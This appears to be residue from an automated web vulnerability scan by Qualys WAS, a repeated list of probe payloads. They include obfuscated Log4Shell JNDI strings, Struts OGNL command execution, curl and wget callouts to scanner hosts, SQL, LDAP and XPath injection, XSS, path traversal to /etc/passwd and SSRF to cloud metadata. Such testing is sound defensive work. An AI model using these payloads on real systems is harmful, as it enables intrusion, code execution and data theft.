${jndi:dns://4b31e046ea6defc6e0d8c632f5025d77c0efc2b4.17527257393642422.1079188473.log4j09.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//eae20d1b02d9a80857640b05d21dd99a1491ea36.17527257393642422.3158632436.log4j08.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jnd${123%ff:-${123%ff:-i:}}ldap://e233ff0f627b95e0dfe1d014fcc701836555c3b2.17527257393642422.977801049.log4j07.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${::-n}di:ldap${::-:}//aba5b3da7b9cb97addf8c39ba6c8bec943d4a33d.17527257393642422.2606861091.log4j06.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://8900676d7e8a370fadfe519621e6865f92d290df.17527257393642422.733346713.log4j05.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://aec889cb87fe69645fdb75d0dd60ad890b6f0da0.17527257393642422.342798923.log4j04.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:rmi://34ebd4e3fdca5f6c3e0de9d1fec6309cf5b3cfe7.17527257393642422.1436602174.log4j03.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:ldap://c8220ee976fb07e26598cda8b479f941e70292a2.17527257393642422.270116185.log4j02.log4j.eu2.qualysperiscope.com./QualysWAS}

1

195bca727c75bfcd83c76844acf103d836bea596.17527257393642422.2087099316.ssrf02.ssrf.eu2.qualysperiscope.com.

1

http://ab6040fdbfd9156d6911bff8f6c3929066ba8917.17527257393642422.45696248.ssrf01.ssrf.eu2.qualysperiscope.com.

1

Joe+ bcc:was_engine@2eff8868ad1fdb57ea7df1ff8149b45eefe0de9a.17527257393642422.2617321377.smtphi01.smtp.eu2.qualysperiscope.com.

1)(|(uidNumber=*)

1

1

1)(|(gidNumber=*)

1

1)(|(homeDirectory=*)

1

1)(|(uid=*)

1)(|(objectclass=*)

1

1

1*

1

1)(|(cn=*))

1

1*(|(objectclass=*))

1

1)(uid=*))(|(uid=*

1

1)(attribute2=*)

QualysWAS${150797*150797}QualysWAS

1

1

${''.getClass().forName('java.lang.Runtime').getMethods()[6].toString()}

1

QualysWAS${"150898".toString().replace("8", "7")}QualysWAS

1

https://community.qualys.com/

1

http://169.254.169.254/latest/meta-data/

1

function(){qxss71W2k18n};

1

qualyswas:

1

(23.0231*213.759)

;echo 23.0231*213.759;//{@math key=4335.158242899999 method="add" operand=586.23659/} /* #set($value=23.0231*213.759) $value */

1

1

1

|aaaa =(23.0231*213.759) |${23.0231*213.759}{23.0231*213.759}4921.3948329(23.0231*213.7591)=(23.0231*213.759)#{23.0231*213.759}

1

!@#$%^&*()

1

!@#$%^&*()1

1

1!@#$%^&*()

1

1

1

"-qxssKo46U5R8()-"

1

'-qxssBN26z6SN()-'

1

*/;(function(){qxssx6S4fYO8});/*

1

9 ;(function(){qxsshS8CctJ2});//

1

9;(function(){qxssXxzeU7BV});//

1

';(function(){qxss2ZvZ2w9D});/**/'

qualys(aqxsso3G4K8Ti)xyz

1

1

");(function(){qxssPPPr55Hr});/**/"

1

";(function(){qxssM1EMcEHw});/**/"

1

javascript:qxss(X2983352796Y1_2Z);

1

http://rfitest/

1

|netstat -an

1

a(){}phpinfo(); function a

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q2d1hi3j').(#str3='B4D7e6').(#str=#str2+':QQ:'+#str1+':PP:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

1

1

%25{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q9d4hi5j').(#str3='R9D7e8').(#str=#str2+':QQ:'+#str1+':TT:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

1

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q9d4hi5j').(#str3='R9D7e8').(#str=#str2+':QQ:'+#str1+':TT:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

1

....//....//....//....//....//....//etc/passwd

1

php://filter/read=string.rot13/resource=/etc/passwd

1

../../../../../../../Windows/System32/drivers/etc/hosts

1

../../../../../../../Windows/System32/drivers/etc/hosts

1

//....//....//....//....//....//....//....//etc/passwd

1

//..//..//..//..//..//..//..//etc/passwd

1

../../../../../../../etc/passwd

1

/../../../../../../../etc/passwd

1

/../../../../../../../etc/passwd

1

1

1e309

1

(

1

,

1

``

1

/*

1

#

;--

1

1

1'

1

qualyswasesi

1

q Qualys_resp_hdr_injection: Vulnerable

1

q Qualys_resp_hdr_injection: Vulnerable

1

q Content-Type:text/html Content-Length: 190 HTTP/1.1 200 OK Content-Type: text/html Set-Cookie: a=q Content-Length: 2 AA

111222

1

1

1

1

%3cscript z%3e_q(y)%3c/script%3e

1

< script a=4>qssS2pqL6oH=7< /script>

1

" onEvent=X2983352796Y1_2Z

1

' onEvent=X2983352796Y1_2Z

1

"'>

1

1

BODY{background:url("javascript:qss9ODhlOgl=7")}

1

1">

1

1

1

"'>

1

1

1

1

1 _q_q=random(8E8501UD)

1

_q=random(X2983352796Y1_2Z)

1

_q=random(X2983352796Y1_2Z)

1

"'>

1

z-->

1

1"'>

1

">

1

javascript:qxss(X2983352796Y1_2Z);

1

" onEvent=X2983352796Y1_2Z

1

' onEvent=X2983352796Y1_2Z

1

_q=random(X2983352796Y1_2Z)

1

"'>

1

1

1(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Thread@sleep(28*1000))

1

require('child_process').execSync('sleep 29').toString()

1

__import__('os').popen('sleep 29').read()

1

1' + sleep(29*100*Math.sqrt(100)) + '

1

1'; var djci=sleep(29*1000) + '

1

1'; var djci=sleep(29*1000);//

1

1' OR (SELECT 1337 FROM (SELECT(SLEEP(29)))prime) AND 'qualys'='qualys

1' WHERE 1337=1337 AND (SELECT 1319 FROM (SELECT(SLEEP(29)))qualys)-- prime

1

1

1(SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333) /*'XOR (SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333); -- OR'|"XOR (SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333); -- OR"*/

1

1;SELECT sleep(29); --

1

1' + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_2222) + '

1 + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_1111)

1

1

1',0,0);WAITFOR DELAY'00:00:29'--

1

1');WAITFOR DELAY '00:00:29'--

1

1';WAITFOR DELAY '00:00:29'--

1

1);WAITFOR DELAY '00:00:29'--

1

1;WAITFOR DELAY '00:00:29';

1

1WAITFOR DELAY '00:00:29'

1

|ping -c2 -i91 localhost|

1

|ping -c2 -i56 localhost

1

ping -c2 -i91 localhost

1

aaaa&ping -n 92 localhost&

1

1

1

1

1" or not(false()) or "true" = "true

1

1" and false() and "or" = "and

1

1" or true() or "and" = "and

1 or not(false()) or 'true' = 'true'

1

1

1 and false() and 'or' = 'and'

1

1 or true() or 'and' = 'and'

1

1' or not(false()) or 'true' = 'true

1

1

1' and false() and 'or' = 'and

1' or true() or 'and' = 'and

1

1

15 oR 9=8 + 1

1

11 or 11=12

11 or 11=11

1' /* or __Q_1__ */oR ' aND xqlkp'=' aND xqlkp

1

1

1' and 'tpklq'='xqlkp

1

1' or 'tpklq'='tpklq

1

1

1

1') /* or __Q_1__ */oR ' aND ptqws'=' aND ptqws

1') and 'swqtp'='ptqws

1') or 'swqtp'='swqtp

1 aND 7248=2491 + 4757

1

1

1 and 7248 IS NULL

1

1 and NULL IS NULL

1

1 oR 6248=2491 + 3757

1

1 or 6248 IS NULL

1

1

1 or NULL IS NULL

1

1

1

1 /* or __Q_1__ */oR 4325=1597 + 2728 -- aND 2729

1 and 4325=2728 --

1

1' /* or __Q_1__ */oR 3789=2398 + 1391 -- aND 1390

1 or 4325=4325 --

1

1' and 3789=1391 --

1' or 3789=3789 --

1

1

1') /* or __Q_1__ */oR 2634=1511 + 1123 -- aND 1124

1

1') and 2634=1123 --

1') or 2634=2634 --

1

1

1

1

file:///etc/passwd

1

1

1

http://localhost:19096

1

$..[?(p="console.log(this.process.mainModule.require('child_process').execSync('curl a06abbaf9a252ffe19653904cd33657cb37952dd.17489408393642422.1679327225.oscomm15279701.oscomm.eu2.qualysperiscope.com.').toString())";QualysWAS=''[['constructor']][['constructor']](p);QualysWAS())]

1

__import__('os').popen('wget d1df02655cd1dbb30ccece7720b86cf18cdc0f86.17489408393642422.711138021.oscomm15214101.oscomm.eu2.qualysperiscope.com.').read()

1

__import__('os').popen('curl c1cc72d81d1ee960b4c7c85643002a26ea64a05b.17489408393642422.640359559.oscomm15214100.oscomm.eu2.qualysperiscope.com.').read()

1

@pd.core.frame.com.builtins.__import__("os").system("""curl e9d9bccd58967bc4a13067bf18d6485565eab982.17489408393642422.1513415032.oscomm15256401.oscomm.eu2.qualysperiscope.com.#""")

1

@pd.core.frame.com.builtins.__import__("os").system("""curl 2ddc01f1f1d16a055b1494c08e65a747175eaf70.17489408393642422.2140243087.oscomm15256400.oscomm.eu2.qualysperiscope.com.#""")

1

${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","e84f1a5ec462838a25b20d4d6e57fcbaa2deffe5.17489408393642422.1189540108.oscomm15079701.oscomm.eu2.qualysperiscope.com.")}

1

1

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://b54dd77c9e137cde8324abcd65689019544efa09.17489408393642422.3499602515.log4j12.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://518528d576bf77ecfe6980760e880f90a3f823f2.17489408393642422.4132688124.log4j11.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//a1c382a133c176288b4f35d03c18c86fe7d4b89e.17489408393642422.2573489038.log4j10.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:dns://38b4319da5eba7a22e9bee82eb18386de7e13b63.17489408393642422.766044023.log4j09.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//2eb4b6ad5bfb4e26acb32fb2e0672435959978ee.17489408393642422.881543170.log4j08.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jnd${123%ff:-${123%ff:-i:}}ldap://6c5aedd3d8e85e0943a020a666a9b405324a66ba.17489408393642422.2494663301.log4j07.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${::-n}di:ldap${::-:}//f886d8f6a9e0517bfd6b47f2553a2b980c6d9c09.17489408393642422.2339411690.log4j06.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://ceafc47d44f39d4aa1ee507cf4a4080c911b42cb.17489408393642422.3007172570.log4j05.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://637d47d1ca375b6777aab80161efb9af9430b4a6.17489408393642422.2225187692.log4j04.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:rmi://f16647587718927230bc92222fcc8e84f2bacbd9.17489408393642422.3451835618.log4j03.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:ldap://0092018383017c6b61bc79fced01fd3a1b6d0137.17489408393642422.3350869479.log4j02.log4j.eu2.qualysperiscope.com./QualysWAS}

1

1b1d50470d3900125222b3f0ec08ee3fbb26a295.17489408393642422.1461878826.ssrf02.ssrf.eu2.qualysperiscope.com.

1

http://562db3f01d62b73eaa7243eff0912b9159616e29.17489408393642422.1085201497.ssrf01.ssrf.eu2.qualysperiscope.com.

1

Joe+ bcc:was_engine@d2b7261ac8bfd2aabe021b8d954db459432fb249.17489408393642422.2171816437.smtphi01.smtp.eu2.qualysperiscope.com.

1)(|(uidNumber=*)

1

1

1)(|(gidNumber=*)

1

1)(|(homeDirectory=*)

1

1)(|(uid=*)

1

1)(|(objectclass=*)

1

1*

1

1)(|(cn=*))

1

1*(|(objectclass=*))

1

1)(uid=*))(|(uid=*

1

1)(attribute2=*)

1

QualysWAS${150797*150797}QualysWAS

1

${''.getClass().forName('java.lang.Runtime').getMethods()[6].toString()}

1

QualysWAS${"150898".toString().replace("8", "7")}QualysWAS

1

https://community.qualys.com/

1

http://169.254.169.254/latest/meta-data/

1

function(){qxss6t3gnos8};

1

qualyswas:

1

(23.0231*213.759)

1

;echo 23.0231*213.759;//{@math key=4335.158242899999 method="add" operand=586.23659/} /* #set($value=23.0231*213.759) $value */

1

1

|aaaa =(23.0231*213.759) |${23.0231*213.759}{23.0231*213.759}4921.3948329(23.0231*213.7591)=(23.0231*213.759)#{23.0231*213.759}

1

!@#$%^&*()

1

!@#$%^&*()1

1

1!@#$%^&*()

1

1

1

"-qxssh6GF39HD()-"

1

'-qxss9V6P4N50()-'

1

*/;(function(){qxssg46Z44Xz});/*

1

9 ;(function(){qxssF61xB3c8});//

1

9;(function(){qxssi0g5QHO6});//

1

';(function(){qxssPrVivBe6});/**/'

1

qualys(aqxss85D79u97)xyz

1

");(function(){qxss46tyZK51});/**/"

1

";(function(){qxssJ86CEIqh});/**/"

1

javascript:qxss(X168901084Y1_2Z);

1

http://rfitest/

1

|netstat -an

1

a(){}phpinfo(); function a

1

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q2d1hi3j').(#str3='B4D7e6').(#str=#str2+':QQ:'+#str1+':PP:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

1

%25{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q9d4hi5j').(#str3='R9D7e8').(#str=#str2+':QQ:'+#str1+':TT:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q9d4hi5j').(#str3='R9D7e8').(#str=#str2+':QQ:'+#str1+':TT:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

1

1

....//....//....//....//....//....//etc/passwd

php://filter/read=string.rot13/resource=/etc/passwd

1

1

../../../../../../../Windows/System32/drivers/etc/hosts

1

../../../../../../../Windows/System32/drivers/etc/hosts

1

//....//....//....//....//....//....//....//etc/passwd

1

//..//..//..//..//..//..//..//etc/passwd

1

../../../../../../../etc/passwd

1

/../../../../../../../etc/passwd

1

/../../../../../../../etc/passwd

1

1

1e309

1

(

1

,

1

``

1

/*

1

#

1

;--

1

1'

1

qualyswasesi

1

q Qualys_resp_hdr_injection: Vulnerable

q Qualys_resp_hdr_injection: Vulnerable

1

1

q Content-Type:text/html Content-Length: 190 HTTP/1.1 200 OK Content-Type: text/html Set-Cookie: a=q Content-Length: 2 AA

1

111222

1

1

1

%3cscript z%3e_q(y)%3c/script%3e

1

< script a=4>qssIOTB4Yn5=7< /script>

1

" onEvent=X168901084Y1_2Z

1

' onEvent=X168901084Y1_2Z

1

"'>

1

1

BODY{background:url("javascript:qss5vH0Joq7=7")}

1">

1

1

1

1

"'>

1

1

1

1

1 _q_q=random(53F2RV0P)

1

_q=random(X168901084Y1_2Z)

1

_q=random(X168901084Y1_2Z)

1

"'>

1

z-->

1

1"'>

1

">

1

javascript:qxss(X168901084Y1_2Z);

1

" onEvent=X168901084Y1_2Z

1

' onEvent=X168901084Y1_2Z

1

_q=random(X168901084Y1_2Z)

1

"'>

1

1

1(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Thread@sleep(28*1000))

1

require('child_process').execSync('sleep 29').toString()

__import__('os').popen('sleep 29').read()

1

1

1' + sleep(29*100*Math.sqrt(100)) + '

1

1'; var djci=sleep(29*1000) + '

1

1'; var djci=sleep(29*1000);//

1

1' OR (SELECT 1337 FROM (SELECT(SLEEP(29)))prime) AND 'qualys'='qualys

1

1' WHERE 1337=1337 AND (SELECT 1319 FROM (SELECT(SLEEP(29)))qualys)-- prime

1

1(SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333) /*'XOR (SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333); -- OR'|"XOR (SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333); -- OR"*/

1;SELECT sleep(29); --

1

1

1' + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_2222) + '

1

1 + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_1111)

1

1',0,0);WAITFOR DELAY'00:00:29'--

1

1');WAITFOR DELAY '00:00:29'--

1

1';WAITFOR DELAY '00:00:29'--

1

1);WAITFOR DELAY '00:00:29'--

1

1;WAITFOR DELAY '00:00:29';

1WAITFOR DELAY '00:00:29'

1

1

|ping -c2 -i91 localhost|

1

|ping -c2 -i56 localhost

1

ping -c2 -i91 localhost

1

aaaa&ping -n 92 localhost&

1

1

1

1

1" or not(false()) or "true" = "true

1

1" and false() and "or" = "and

1

1" or true() or "and" = "and

1

1 or not(false()) or 'true' = 'true'

1

1 and false() and 'or' = 'and'

1

1 or true() or 'and' = 'and'

1

1

1

1' or not(false()) or 'true' = 'true

1' and false() and 'or' = 'and

1' or true() or 'and' = 'and

1

15 oR 9=8 + 1

1

1

11 or 11=12

11 or 11=11

1

1' /* or __Q_1__ */oR ' aND xqlkp'=' aND xqlkp

1

1' and 'tpklq'='xqlkp

1

1' or 'tpklq'='tpklq

1

1') /* or __Q_1__ */oR ' aND ptqws'=' aND ptqws

1

1

1') and 'swqtp'='ptqws

1') or 'swqtp'='swqtp

1

1 aND 7248=2491 + 4757

1

1

1 and 7248 IS NULL

1 and NULL IS NULL

1

1 oR 6248=2491 + 3757

1

1

1 or 6248 IS NULL

1 or NULL IS NULL

1

1 /* or __Q_1__ */oR 4325=1597 + 2728 -- aND 2729

1

1

1 and 4325=2728 --

1 or 4325=4325 --

1

1' /* or __Q_1__ */oR 3789=2398 + 1391 -- aND 1390

1

1

1' and 3789=1391 --

1' or 3789=3789 --

1') /* or __Q_1__ */oR 2634=1511 + 1123 -- aND 1124

1

1') and 2634=1123 --

1

1

1') or 2634=2634 --

1

1

1

file:///etc/passwd

1

1

1

http://localhost:19096

1

$..[?(p="console.log(this.process.mainModule.require('child_process').execSync('curl df59a81d296675c201b3de9479d13ed187c0bfde.17463223393642422.1206342543.oscomm15279701.oscomm.eu2.qualysperiscope.com.').toString())";QualysWAS=''[['constructor']][['constructor']](p);QualysWAS())]

1

__import__('os').popen('wget 7ad793b093b5356aada2f5bbf26690c08f3e35eb.17463223393642422.384957536.oscomm15214101.oscomm.eu2.qualysperiscope.com.').read()

1

__import__('os').popen('curl eec865b242fa1ced2f01ee81cdb29400a121f777.17463223393642422.1035534120.oscomm15214100.oscomm.eu2.qualysperiscope.com.').read()

1

@pd.core.frame.com.builtins.__import__("os").system("""curl 69f5c3fe7de85b9edc71055a1f61d48cb89ad15f.17463223393642422.1395707547.oscomm15256401.oscomm.eu2.qualysperiscope.com.#""")

1

@pd.core.frame.com.builtins.__import__("os").system("""curl 7f518a003cd34a53a7bbaa826b93ac4bbd31181e.17463223393642422.308012381.oscomm15256400.oscomm.eu2.qualysperiscope.com.#""")

1

${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","50cc28812f3a68580cd688ec064d449499266198.17463223393642422.4242392671.oscomm15079701.oscomm.eu2.qualysperiscope.com.")}

1

1

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://af238b67f2f61209ad403388ce88ccb9887b8d93.17463223393642422.2020148716.log4j12.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://8e90f1be329acad410ff7d3682da1494670041fd.17463223393642422.3320965075.log4j11.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//b313891e9ac9e17691e2289f5d4d9e52c1a1aff1.17463223393642422.892339453.log4j10.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:dns://a7b23f407157e16a641db8cdf352507de0eee482.17463223393642422.907501783.log4j09.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//9c2f99c9fa142e15959ca8e406abf2cb947e35ec.17463223393642422.2621968304.log4j08.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jnd${123%ff:-${123%ff:-i:}}ldap://d87e76bb1f71c2b77585469527cbd76f062384ae.17463223393642422.2971123215.log4j07.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${::-n}di:ldap${::-:}//93a2b6bd3137afa1c56550fefc1e0dd41b5d5a08.17463223393642422.2966250981.log4j06.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://4d04a4bd9c589b1342af2dddf2eacd96bd459ac6.17463223393642422.2355053021.log4j05.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://7a1775b6406e761ad7b0fd1e98d08c651deaab98.17463223393642422.1869637231.log4j04.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:rmi://931318c5de9a99a36f3c7ff877008830bfd46b74.17463223393642422.2773071529.log4j03.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:ldap://9c88e305534f6742b105559d22cf40f9d2a995b1.17463223393642422.1769349733.log4j02.log4j.eu2.qualysperiscope.com./QualysWAS}

1

ffdc4f9295b4d21574676d66d0fcea11aa147839.17463223393642422.1897249434.ssrf02.ssrf.eu2.qualysperiscope.com.

1

http://cfa382dfdb4f2e401f6b5e9b0989b05d4cfdafc2.17463223393642422.997190.ssrf01.ssrf.eu2.qualysperiscope.com.

1

Joe+ bcc:was_engine@3b8996bd20096420279a4dc30f330ffdf2fff9ac.17463223393642422.3995180765.smtphi01.smtp.eu2.qualysperiscope.com.

1

1)(|(uidNumber=*)

1)(|(gidNumber=*)

1

1

1)(|(homeDirectory=*)

1

1)(|(uid=*)

1

1)(|(objectclass=*)

1

1*

1

1)(|(cn=*))

1*(|(objectclass=*))

1

1

1)(uid=*))(|(uid=*

1

1)(attribute2=*)

1

QualysWAS${150797*150797}QualysWAS

1

${''.getClass().forName('java.lang.Runtime').getMethods()[6].toString()}

QualysWAS${"150898".toString().replace("8", "7")}QualysWAS

1

1

https://community.qualys.com/

1

http://169.254.169.254/latest/meta-data/

1

function(){qxss966NPFIc};

1

qualyswas:

1

(23.0231*213.759)

1

;echo 23.0231*213.759;//{@math key=4335.158242899999 method="add" operand=586.23659/} /* #set($value=23.0231*213.759) $value */

1

|aaaa =(23.0231*213.759) |${23.0231*213.759}{23.0231*213.759}4921.3948329(23.0231*213.7591)=(23.0231*213.759)#{23.0231*213.759}

1

1

!@#$%^&*()

1

!@#$%^&*()1

1

1!@#$%^&*()

1

1

1

"-qxssnQ89fXJ8()-"

1

'-qxssFnlK52F0()-'

1

*/;(function(){qxssAtW9R6FT});/*

1

9 ;(function(){qxssIl4qk3Fr});//

1

9;(function(){qxssYHw3sCRN});//

1

';(function(){qxss6JVOJWp7});/**/'

1

qualys(aqxss7DtSc3ft)xyz

1

");(function(){qxssZO3c2RNV});/**/"

1

";(function(){qxss62ATi9U6});/**/"

1

javascript:qxss(X161733060Y1_2Z);

1

http://rfitest/

1

|netstat -an

1

a(){}phpinfo(); function a

1

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q2d1hi3j').(#str3='B4D7e6').(#str=#str2+':QQ:'+#str1+':PP:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

1

